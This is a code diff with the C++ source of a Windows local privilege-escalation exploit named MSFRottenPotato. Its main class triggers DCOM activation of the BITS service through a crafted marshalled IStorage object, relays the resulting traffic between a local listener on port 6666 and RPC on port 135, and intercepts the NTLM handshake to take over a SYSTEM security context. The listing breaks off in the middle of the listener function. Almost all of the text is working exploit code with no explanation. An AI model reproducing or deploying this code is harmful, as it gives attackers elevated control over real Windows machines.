{4164003E-BA47-4A95-8586-D5AAC399C050}.Debug|x86.Build.0 = Debug|Win32
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.ActiveCfg = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Build.0 = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x64.Deploy.0 = Release|x64
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.ActiveCfg = Release|Win32
|
||||
{4164003E-BA47-4A95-8586-D5AAC399C050}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {F17C3DED-70DC-4318-B6D7-1477B2D4D79D}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
|
@ -0,0 +1,42 @@
|
|||
#pragma once
|
||||
#include <condition_variable>
|
||||
#include <mutex>
|
||||
#include <queue>
|
||||
#include "stdafx.h"
|
||||
|
||||
typedef std::mutex Mutex;
|
||||
template<typename ITEM> class BlockingQueue{
|
||||
public:
|
||||
void push(const ITEM& value) { // push
|
||||
std::lock_guard<Mutex> lock(mutex);
|
||||
queue.push(std::move(value));
|
||||
condition.notify_one();
|
||||
}
|
||||
bool try_pop(ITEM& value) { // non-blocking pop
|
||||
std::lock_guard<Mutex> lock(mutex);
|
||||
if (queue.empty()) return false;
|
||||
value = std::move(queue.front());
|
||||
queue.pop();
|
||||
return true;
|
||||
}
|
||||
ITEM wait_pop() { // blocking pop
|
||||
std::unique_lock<Mutex> lock(mutex);
|
||||
condition.wait(lock, [this] {return !queue.empty(); });
|
||||
ITEM const value = std::move(queue.front());
|
||||
queue.pop();
|
||||
return value;
|
||||
}
|
||||
bool empty() const { // queue is empty?
|
||||
std::lock_guard<Mutex> lock(mutex);
|
||||
return queue.empty();
|
||||
}
|
||||
void clear() { // remove all items
|
||||
ITEM item;
|
||||
while (try_pop(item));
|
||||
}
|
||||
private:
|
||||
Mutex mutex;
|
||||
std::queue<ITEM> queue;
|
||||
std::condition_variable condition;
|
||||
};
|
||||
|
|
@ -0,0 +1,143 @@
|
|||
#include "stdafx.h"
|
||||
#include "IStorageTrigger.h"
|
||||
#include <string>
|
||||
#include <wchar.h>
|
||||
|
||||
IStorageTrigger::IStorageTrigger(IStorage *istg) {
|
||||
_stg = istg;
|
||||
m_cRef = 1;
|
||||
return;
|
||||
}
|
||||
|
||||
HRESULT IStorageTrigger::DisconnectObject(DWORD dwReserved) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize) {
|
||||
*pSize = 1024;
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid) {
|
||||
CLSIDFromString(OLESTR("{00000306-0000-0000-c000-000000000046}"), pCid);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags) {
|
||||
byte data[] = { 0x4D, 0x45, 0x4F, 0x57, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x94, 0x09, 0x34, 0x76,
|
||||
0xC0, 0xF0, 0x15, 0xD8, 0x19, 0x8F, 0x4A, 0xA2, 0xCE, 0x05, 0x60, 0x86, 0xA3, 0x2A, 0x0F, 0x09, 0x24, 0xE8, 0x70,
|
||||
0x2A, 0x85, 0x65, 0x3B, 0x33, 0x97, 0xAA, 0x9C, 0xEC, 0x16, 0x00, 0x12, 0x00, 0x07, 0x00, 0x31, 0x00, 0x32, 0x00,
|
||||
0x37, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x5B, 0x00, 0x36, 0x00, 0x36,
|
||||
0x00, 0x36, 0x00, 0x36, 0x00, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 };
|
||||
ULONG written = 0;
|
||||
int szData = sizeof(data);
|
||||
pStm->Write(&data, sizeof(data), &written);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::ReleaseMarshalData(IStream *pStm) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv) {
|
||||
*ppv = 0;
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::Commit(DWORD grfCommitFlags) {
|
||||
_stg->Commit(grfCommitFlags);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest) {
|
||||
_stg->CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg) {
|
||||
_stg->CreateStorage(pwcsName, grfMode, reserved1, reserved2, ppstg);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm) {
|
||||
_stg->CreateStream(pwcsName, grfMode, reserved1, reserved2, ppstm);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::DestroyElement(const OLECHAR *pwcsName) {
|
||||
_stg->DestroyElement(pwcsName);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum) {
|
||||
_stg->EnumElements(reserved1, reserved2, reserved3, ppenum);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags) {
|
||||
_stg->MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg) {
|
||||
_stg->OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, ppstg);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm) {
|
||||
_stg->OpenStream(pwcsName, reserved1, grfMode, reserved2, ppstm);
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::Revert() {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::SetClass(const IID &clsid) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::SetStateBits(DWORD grfStateBits, DWORD grfMask) {
|
||||
return 0;
|
||||
}
|
||||
HRESULT IStorageTrigger::Stat(STATSTG *pstatstg, DWORD grfStatFlag) {
|
||||
_stg->Stat(pstatstg, grfStatFlag);
|
||||
|
||||
//Allocate from heap because apparently this will get freed in OLE32
|
||||
const wchar_t c_s[] = L"hello.stg";
|
||||
wchar_t *s = (wchar_t*)CoTaskMemAlloc(sizeof(c_s));
|
||||
wcscpy(s, c_s);
|
||||
pstatstg[0].pwcsName = s;
|
||||
return 0;
|
||||
}
|
||||
|
||||
///////////////////////IUknown Interface
|
||||
HRESULT IStorageTrigger::QueryInterface(const IID &riid, void **ppvObj) {
|
||||
// Always set out parameter to NULL, validating it first.
|
||||
if (!ppvObj)
|
||||
return E_INVALIDARG;
|
||||
if (riid == IID_IUnknown)
|
||||
{
|
||||
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||
//reinterpret_cast<IUnknown*>(*ppvObj)->AddRef();
|
||||
}
|
||||
else if (riid == IID_IStorage)
|
||||
{
|
||||
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||
}
|
||||
else if (riid == IID_IMarshal)
|
||||
{
|
||||
*ppvObj = static_cast<IStorageTrigger *>(this);
|
||||
}
|
||||
else
|
||||
{
|
||||
*ppvObj = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
// Increment the reference count and return the pointer.
|
||||
|
||||
return S_OK;
|
||||
|
||||
}
|
||||
|
||||
|
||||
ULONG IStorageTrigger::AddRef() {
|
||||
m_cRef++;
|
||||
return m_cRef;
|
||||
}
|
||||
|
||||
ULONG IStorageTrigger::Release() {
|
||||
// Decrement the object's internal counter.
|
||||
ULONG ulRefCount = m_cRef--;
|
||||
return ulRefCount;
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
#pragma once
|
||||
#include "Objidl.h"
|
||||
|
||||
class IStorageTrigger : public IMarshal, public IStorage {
|
||||
private:
|
||||
IStorage *_stg;
|
||||
int m_cRef;
|
||||
public:
|
||||
IStorageTrigger(IStorage *stg);
|
||||
HRESULT STDMETHODCALLTYPE DisconnectObject(DWORD dwReserved);
|
||||
HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, DWORD *pSize);
|
||||
HRESULT STDMETHODCALLTYPE GetUnmarshalClass(const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags, CLSID *pCid);
|
||||
HRESULT STDMETHODCALLTYPE MarshalInterface(IStream *pStm, const IID &riid, void *pv, DWORD dwDestContext, void *pvDestContext, DWORD mshlflags);
|
||||
HRESULT STDMETHODCALLTYPE ReleaseMarshalData(IStream *pStm);
|
||||
HRESULT STDMETHODCALLTYPE UnmarshalInterface(IStream *pStm, const IID &riid, void **ppv);
|
||||
HRESULT STDMETHODCALLTYPE Commit(DWORD grfCommitFlags);
|
||||
HRESULT STDMETHODCALLTYPE CopyTo(DWORD ciidExclude, const IID *rgiidExclude, SNB snbExclude, IStorage *pstgDest);
|
||||
HRESULT STDMETHODCALLTYPE CreateStorage(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStorage **ppstg);
|
||||
HRESULT STDMETHODCALLTYPE CreateStream(const OLECHAR *pwcsName, DWORD grfMode, DWORD reserved1, DWORD reserved2, IStream **ppstm);
|
||||
HRESULT STDMETHODCALLTYPE DestroyElement(const OLECHAR *pwcsName);
|
||||
HRESULT STDMETHODCALLTYPE EnumElements(DWORD reserved1, void *reserved2, DWORD reserved3, IEnumSTATSTG **ppenum);
|
||||
HRESULT STDMETHODCALLTYPE MoveElementTo(const OLECHAR *pwcsName, IStorage *pstgDest, const OLECHAR *pwcsNewName, DWORD grfFlags);
|
||||
HRESULT STDMETHODCALLTYPE OpenStorage(const OLECHAR *pwcsName, IStorage *pstgPriority, DWORD grfMode, SNB snbExclude, DWORD reserved, IStorage **ppstg);
|
||||
HRESULT STDMETHODCALLTYPE OpenStream(const OLECHAR *pwcsName, void *reserved1, DWORD grfMode, DWORD reserved2, IStream **ppstm);
|
||||
HRESULT STDMETHODCALLTYPE RenameElement(const OLECHAR *pwcsOldName, const OLECHAR *pwcsNewName);
|
||||
HRESULT STDMETHODCALLTYPE Revert();
|
||||
HRESULT STDMETHODCALLTYPE SetClass(const IID &clsid);
|
||||
HRESULT STDMETHODCALLTYPE SetElementTimes(const OLECHAR *pwcsName, const FILETIME *pctime, const FILETIME *patime, const FILETIME *pmtime);
|
||||
HRESULT STDMETHODCALLTYPE SetStateBits(DWORD grfStateBits, DWORD grfMask);
|
||||
HRESULT STDMETHODCALLTYPE Stat(STATSTG *pstatstg, DWORD grfStatFlag);
|
||||
|
||||
HRESULT STDMETHODCALLTYPE QueryInterface(const IID &riid, void **ppvObject);
|
||||
ULONG STDMETHODCALLTYPE AddRef();
|
||||
ULONG STDMETHODCALLTYPE Release();
|
||||
};
|
|
@ -0,0 +1,115 @@
|
|||
#include "stdafx.h"
|
||||
#include "LocalNegotiator.h"
|
||||
#include <iostream>
|
||||
|
||||
LocalNegotiator::LocalNegotiator()
|
||||
{
|
||||
authResult = -1;
|
||||
}
|
||||
|
||||
void InitTokenContextBuffer(PSecBufferDesc pSecBufferDesc, PSecBuffer pSecBuffer)
|
||||
{
|
||||
pSecBuffer->BufferType = SECBUFFER_TOKEN;
|
||||
pSecBuffer->cbBuffer = 0;
|
||||
pSecBuffer->pvBuffer = nullptr;
|
||||
|
||||
pSecBufferDesc->ulVersion = SECBUFFER_VERSION;
|
||||
pSecBufferDesc->cBuffers = 1;
|
||||
pSecBufferDesc->pBuffers = pSecBuffer;
|
||||
}
|
||||
|
||||
int LocalNegotiator::handleType1(char * ntlmBytes, int len)
|
||||
{
|
||||
TCHAR lpPackageName[1024] = L"Negotiate";
|
||||
TimeStamp ptsExpiry;
|
||||
|
||||
int status = AcquireCredentialsHandle(
|
||||
NULL,
|
||||
lpPackageName,
|
||||
SECPKG_CRED_INBOUND,
|
||||
NULL,
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
&hCred,
|
||||
&ptsExpiry);
|
||||
|
||||
if (status != SEC_E_OK)
|
||||
{
|
||||
printf("Error in AquireCredentialsHandle");
|
||||
return -1;
|
||||
}
|
||||
|
||||
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||
|
||||
phContext = new CtxtHandle();
|
||||
|
||||
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||
secClientBuffer.pvBuffer = ntlmBytes;
|
||||
|
||||
ULONG fContextAttr;
|
||||
TimeStamp tsContextExpiry;
|
||||
|
||||
status = AcceptSecurityContext(
|
||||
&hCred,
|
||||
nullptr,
|
||||
&secClientBufferDesc,
|
||||
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||
SECURITY_NATIVE_DREP,
|
||||
phContext,
|
||||
&secServerBufferDesc,
|
||||
&fContextAttr,
|
||||
&tsContextExpiry);
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
int LocalNegotiator::handleType2(char * ntlmBytes, int len)
|
||||
{
|
||||
char* newNtlmBytes = (char*) secServerBuffer.pvBuffer;
|
||||
if (len >= secServerBuffer.cbBuffer) {
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
if (i < secServerBuffer.cbBuffer) {
|
||||
ntlmBytes[i] = newNtlmBytes[i];
|
||||
}
|
||||
else {
|
||||
ntlmBytes[i] = 0x00;
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
printf("Buffer sizes incompatible - can't replace");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int LocalNegotiator::handleType3(char * ntlmBytes, int len)
|
||||
{
|
||||
InitTokenContextBuffer(&secClientBufferDesc, &secClientBuffer);
|
||||
InitTokenContextBuffer(&secServerBufferDesc, &secServerBuffer);
|
||||
|
||||
secClientBuffer.cbBuffer = static_cast<unsigned long>(len);
|
||||
secClientBuffer.pvBuffer = ntlmBytes;
|
||||
|
||||
ULONG fContextAttr;
|
||||
TimeStamp tsContextExpiry;
|
||||
int status = AcceptSecurityContext(
|
||||
&hCred,
|
||||
phContext,
|
||||
&secClientBufferDesc,
|
||||
ASC_REQ_ALLOCATE_MEMORY | ASC_REQ_CONNECTION,
|
||||
//STANDARD_CONTEXT_ATTRIBUTES,
|
||||
SECURITY_NATIVE_DREP,
|
||||
phContext,
|
||||
&secServerBufferDesc,
|
||||
&fContextAttr,
|
||||
&tsContextExpiry);
|
||||
|
||||
authResult = status;
|
||||
|
||||
return status;
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
#define SECURITY_WIN32
|
||||
|
||||
#pragma once
|
||||
#include <security.h>
|
||||
#include <schannel.h>
|
||||
class LocalNegotiator
|
||||
{
|
||||
public:
|
||||
LocalNegotiator();
|
||||
int handleType1(char* ntlmBytes, int len);
|
||||
int handleType2(char* ntlmBytes, int len);
|
||||
int handleType3(char* ntlmBytes, int len);
|
||||
PCtxtHandle phContext;
|
||||
int authResult;
|
||||
|
||||
private:
|
||||
CredHandle hCred;
|
||||
SecBufferDesc secClientBufferDesc, secServerBufferDesc;
|
||||
SecBuffer secClientBuffer, secServerBuffer;
|
||||
};
|
||||
|
|
@ -0,0 +1,374 @@
|
|||
#include "stdafx.h"
|
||||
#include "MSFRottenPotato.h"
|
||||
#include "IStorageTrigger.h"
|
||||
#include <iostream>
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#pragma comment (lib, "Ws2_32.lib")
|
||||
#pragma comment (lib, "Mswsock.lib")
|
||||
#pragma comment (lib, "AdvApi32.lib")
|
||||
|
||||
int CMSFRottenPotato::newConnection;
|
||||
|
||||
// This is the constructor of a class that has been exported.
|
||||
// see MSFRottenPotato.h for the class definition
|
||||
CMSFRottenPotato::CMSFRottenPotato()
|
||||
{
|
||||
comSendQ = new BlockingQueue<char*>();
|
||||
rpcSendQ = new BlockingQueue<char*>();
|
||||
newConnection = 0;
|
||||
negotiator = new LocalNegotiator();
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
DWORD CMSFRottenPotato::startRPCConnectionThread() {
|
||||
DWORD ThreadID;
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
|
||||
return ThreadID;
|
||||
}
|
||||
|
||||
DWORD CMSFRottenPotato::startCOMListenerThread() {
|
||||
DWORD ThreadID;
|
||||
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);
|
||||
return ThreadID;
|
||||
}
|
||||
|
||||
DWORD WINAPI CMSFRottenPotato::staticStartRPCConnection(void* Param)
|
||||
{
|
||||
CMSFRottenPotato* This = (CMSFRottenPotato*)Param;
|
||||
return This->startRPCConnection();
|
||||
}
|
||||
|
||||
DWORD WINAPI CMSFRottenPotato::staticStartCOMListener(void* Param)
|
||||
{
|
||||
CMSFRottenPotato* This = (CMSFRottenPotato*)Param;
|
||||
return This->startCOMListener();
|
||||
}
|
||||
|
||||
int CMSFRottenPotato::findNTLMBytes(char *bytes, int len) {
|
||||
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
|
||||
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
|
||||
//we can just return the index
|
||||
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
|
||||
int pIdx = 0;
|
||||
int i;
|
||||
for (i = 0; i < len; i++) {
|
||||
if (bytes[i] == pattern[pIdx]) {
|
||||
pIdx = pIdx + 1;
|
||||
if (pIdx == 7) return (i - 6);
|
||||
}
|
||||
else {
|
||||
pIdx = 0;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int CMSFRottenPotato::processNtlmBytes(char *bytes, int len) {
|
||||
int ntlmLoc = findNTLMBytes(bytes, len);
|
||||
if (ntlmLoc == -1) return -1;
|
||||
|
||||
int messageType = bytes[ntlmLoc + 8];
|
||||
switch (messageType) {
|
||||
//NTLM type 1 message
|
||||
case 1:
|
||||
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
|
||||
break;
|
||||
//NTLM type 2 message
|
||||
case 2:
|
||||
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
|
||||
break;
|
||||
//NTLM type 3 message
|
||||
case 3:
|
||||
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
break;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
|
||||
fd_set readSet;
|
||||
FD_ZERO(&readSet);
|
||||
FD_SET(*ListenSocket, &readSet);
|
||||
timeval timeout;
|
||||
timeout.tv_sec = 1; // Zero timeout (poll)
|
||||
timeout.tv_usec = 0;
|
||||
if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
|
||||
*ClientSocket = accept(*ListenSocket, NULL, NULL);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CMSFRottenPotato::triggerDCOM(void)
|
||||
{
|
||||
CoInitialize(nullptr);
|
||||
|
||||
//Create IStorage object
|
||||
IStorage *stg = NULL;
|
||||
ILockBytes *lb = NULL;
|
||||
CreateILockBytesOnHGlobal(NULL, true, &lb);
|
||||
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
|
||||
|
||||
//Initialze IStorageTrigger object
|
||||
IStorageTrigger* t = new IStorageTrigger(stg);
|
||||
|
||||
//Prep a few more args for CoGetInstanceFromIStorage
|
||||
CLSID clsid;
|
||||
//BITS IID
|
||||
CLSIDFromString(OLESTR("{4991d34b-80a1-4291-83b6-3328366b9097}"), &clsid);
|
||||
CLSID tmp;
|
||||
//IUnknown IID
|
||||
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
|
||||
MULTI_QI qis[1];
|
||||
qis[0].pIID = &tmp;
|
||||
qis[0].pItf = NULL;
|
||||
qis[0].hr = 0;
|
||||
|
||||
//Call CoGetInstanceFromIStorage
|
||||
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CMSFRottenPotato::startRPCConnection(void) {
|
||||
const int DEFAULT_BUFLEN = 4096;
|
||||
PCSTR DEFAULT_PORT = "135";
|
||||
PCSTR host = "127.0.0.1";
|
||||
|
||||
WSADATA wsaData;
|
||||
SOCKET ConnectSocket = INVALID_SOCKET;
|
||||
struct addrinfo *result = NULL,
|
||||
*ptr = NULL,
|
||||
hints;
|
||||
|
||||
char *sendbuf;
|
||||
char recvbuf[DEFAULT_BUFLEN];
|
||||
int iResult;
|
||||
int recvbuflen = DEFAULT_BUFLEN;
|
||||
|
||||
// Initialize Winsock
|
||||
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
if (iResult != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
ZeroMemory(&hints, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
|
||||
// Resolve the server address and port
|
||||
iResult = getaddrinfo(host, DEFAULT_PORT, &hints, &result);
|
||||
if (iResult != 0) {
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Attempt to connect to an address until one succeeds
|
||||
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
|
||||
|
||||
// Create a SOCKET for connecting to server
|
||||
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
|
||||
ptr->ai_protocol);
|
||||
if (ConnectSocket == INVALID_SOCKET) {
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Connect to server.
|
||||
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
closesocket(ConnectSocket);
|
||||
ConnectSocket = INVALID_SOCKET;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (ConnectSocket == INVALID_SOCKET) {
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Send/Receive until the peer closes the connection
|
||||
do {
|
||||
|
||||
//Monitor our sendQ until we have some data to send
|
||||
int *len = (int*)rpcSendQ->wait_pop();
|
||||
sendbuf = rpcSendQ->wait_pop();
|
||||
|
||||
//Check if we should be opening a new socket before we send the data
|
||||
if (newConnection == 1) {
|
||||
//closesocket(ConnectSocket);
|
||||
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||
connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
||||
newConnection = 0;
|
||||
}
|
||||
|
||||
iResult = send(ConnectSocket, sendbuf, *len, 0);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
closesocket(ConnectSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
|
||||
if (iResult > 0) {
|
||||
comSendQ->push((char*)&iResult);
|
||||
comSendQ->push(recvbuf);
|
||||
}
|
||||
else if (iResult == 0)
|
||||
printf("RPC-> Connection closed\n");
|
||||
else
|
||||
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
|
||||
|
||||
} while (iResult > 0);
|
||||
|
||||
// cleanup
|
||||
iResult = shutdown(ConnectSocket, SD_SEND);
|
||||
closesocket(ConnectSocket);
|
||||
WSACleanup();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CMSFRottenPotato::startCOMListener(void) {
|
||||
const int DEFAULT_BUFLEN = 4096;
|
||||
PCSTR DEFAULT_PORT = "6666";
|
||||
|
||||
WSADATA wsaData;
|
||||
int iResult;
|
||||
|
||||
SOCKET ListenSocket = INVALID_SOCKET;
|
||||
SOCKET ClientSocket = INVALID_SOCKET;
|
||||
|
||||
struct addrinfo *result = NULL;
|
||||
struct addrinfo hints;
|
||||
|
||||
int iSendResult;
|
||||
char *sendbuf;
|
||||
|
||||
char recvbuf[DEFAULT_BUFLEN];
|
||||
int recvbuflen = DEFAULT_BUFLEN;
|
||||
|
||||
// Initialize Winsock
|
||||
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
if (iResult != 0) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
ZeroMemory(&hints, sizeof(hints));
|
||||
hints.ai_family = AF_INET;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
hints.ai_protocol = IPPROTO_TCP;
|
||||
hints.ai_flags = AI_PASSIVE;
|
||||
|
||||
// Resolve the server address and port
|
||||
iResult = getaddrinfo(NULL, DEFAULT_PORT, &hints, &result);
|
||||
if (iResult != 0) {
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Create a SOCKET for connecting to server
|
||||
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
|
||||
if (ListenSocket == INVALID_SOCKET) {
|
||||
freeaddrinfo(result);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Setup the TCP listening socket
|
||||
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
freeaddrinfo(result);
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
freeaddrinfo(result);
|
||||
|
||||
iResult = listen(ListenSocket, SOMAXCONN);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Accept a client socket
|
||||
ClientSocket = accept(ListenSocket, NULL, NULL);
|
||||
if (ClientSocket == INVALID_SOCKET) {
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Receive until the peer shuts down the connection
|
||||
int ntlmLoc;
|
||||
do {
|
||||
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
|
||||
if (iResult > 0) {
|
||||
|
||||
//check to see if the received packet has NTLM auth information
|
||||
processNtlmBytes(recvbuf, iResult);
|
||||
|
||||
//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
|
||||
//put packet in winrpc_sendq
|
||||
rpcSendQ->push((char*)&iResult);
|
||||
rpcSendQ->push(recvbuf);
|
||||
|
||||
//block and wait for a new item in our sendq
|
||||
int* len = (int*)comSendQ->wait_pop();
|
||||
sendbuf = comSendQ->wait_pop();
|
||||
|
||||
//Check to see if this is a packet containing NTLM authentication information before sending
|
||||
processNtlmBytes(sendbuf, *len);
|
||||
|
||||
//send the new packet sendbuf
|
||||
iSendResult = send(ClientSocket, sendbuf, *len, 0);
|
||||
|
||||
if (iSendResult == SOCKET_ERROR) {
|
||||
closesocket(ClientSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
||||
//Sometimes Windows likes to open a new connection instead of using the current one
|
||||
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
|
||||
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
|
||||
}
|
||||
else if (iResult == 0)
|
||||
printf("Connection closing...\n");
|
||||
else {
|
||||
closesocket(ClientSocket);
|
